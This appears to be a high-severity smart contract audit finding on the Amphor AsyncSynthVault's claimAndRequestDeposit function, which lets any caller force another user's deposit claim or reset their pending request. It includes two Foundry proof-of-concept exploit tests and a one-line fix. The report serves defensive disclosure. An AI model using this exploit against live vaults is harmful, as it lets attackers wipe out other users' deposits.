Ripe Fiery Snail

high

# Attacker can force arbitrary user to claim request deposit by calling `claimAndRequestDeposit`

## Summary

An attacker can force the user to claim a request deposit  by calling `claimAndRequestDeposit` which resulted in resetting the request deposit and loss of funds if the current epoch, or force claim if not current in epoch.

## Vulnerability Detail

The root cause of the issue is that [claimAndRequestDeposit](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L204) passes `receiver` as `owner`. This allows an attacker to pass the victim's address as a receiver and force them to claim. This is very dangerous and could cause several issues. 

This could be leveraged with the usage of other vulnerabilities that reset pending requests for the current epoch, which would result in resetting someone's request deposit and causing a loss of funds.

Another case would be if the owner would be a smart contract that updates some internal state when claiming a deposit. By forcing the smart contract to claim a deposit outside of its flow, the 3rd party smart contract might enter to some unexpected state.

## Impact

- funds lost by arbitrary users.
- user as smart contract can enter an unexpected state

## Code Snippet

Reset arbitrary user's request deposit
```solidity
function test_reset_someone_deposit_request() external {
        // vault cannot be empty to close it
        usersDealApproveAndDeposit(vaultTested, 1);

        // close the vault so we can request a deposit
        close(vaultTested);

        // user1 deposits
        usersDealApproveAndRequestDeposit(vaultTested, 1, "");

        // at this point, user1 has a non-zero deposit request
        assertGt(vaultTested.pendingDepositRequest(user1.addr), 0, "Deposit request should be non-zero");

        uint256 sharesBalanceBefore = vaultTested.balanceOf(user1.addr);

        // notice I'm calling claimDeposit as user2, and receiver is set to user1
        vm.prank(user2.addr);
        vaultTested.claimAndRequestDeposit(0, user1.addr, "");

        uint256 sharesBalanceAfter = vaultTested.balanceOf(user1.addr);
        // user2 has claimed the deposit for user1, which reset user1's deposit request
        // balance to 0, without
        // transferring shares to the user1
        assertEq(vaultTested.pendingDepositRequest(user1.addr), 0, "Deposit request should be reset");
        assertEq(sharesBalanceBefore, sharesBalanceAfter, "Shares should not be transferred");
    }
```

Force  arbitrary user to claim deposit
```solidity
function test_force_to_claim_someone_deposit_request() external {
        // vault cannot be empty to close it
        usersDealApproveAndDeposit(vaultTested, 1);

        // close the vault so we can request a deposit
        close(vaultTested);

        // user1 deposits
        usersDealApproveAndRequestDeposit(vaultTested, 1, "");

        // at this point, user1 has a non-zero deposit request
        assertGt(vaultTested.pendingDepositRequest(user1.addr), 0, "Deposit request should be non-zero");

        // settle vault, so the epochId is increased
        vm.startPrank(vaultTested.owner());
        vaultTested.settle(vaultTested.totalAssets());
        vm.stopPrank();

        uint256 sharesBalanceBefore = vaultTested.balanceOf(user1.addr);

        // notice I'm calling claimDeposit as user2, and receiver is set to user1
        vm.prank(user2.addr);
        vaultTested.claimAndRequestDeposit(0, user1.addr, "");

        uint256 sharesBalanceAfter = vaultTested.balanceOf(user1.addr);
        // user2 has claimed the deposit for user1, which reset user1's deposit request
        // balance to 0, with
        // transferring shares to the user1
        assertEq(vaultTested.pendingDepositRequest(user1.addr), 0, "Deposit request should be reset");
        assertGt(sharesBalanceAfter, sharesBalanceBefore, "Shares should be transferred");
    }
 ```

## Tool used

Manual Review

## Recommendation

Pass `msgSender` as owner

```diff

function claimAndRequestDeposit(
        uint256 assets,
        address receiver,
        bytes memory data
    )
        external
    {
-      _claimDeposit(receiver, receiver);
+      _claimDeposit(_msgSender(), receiver);
        requestDeposit(assets, receiver, _msgSender(), data);
    }
```
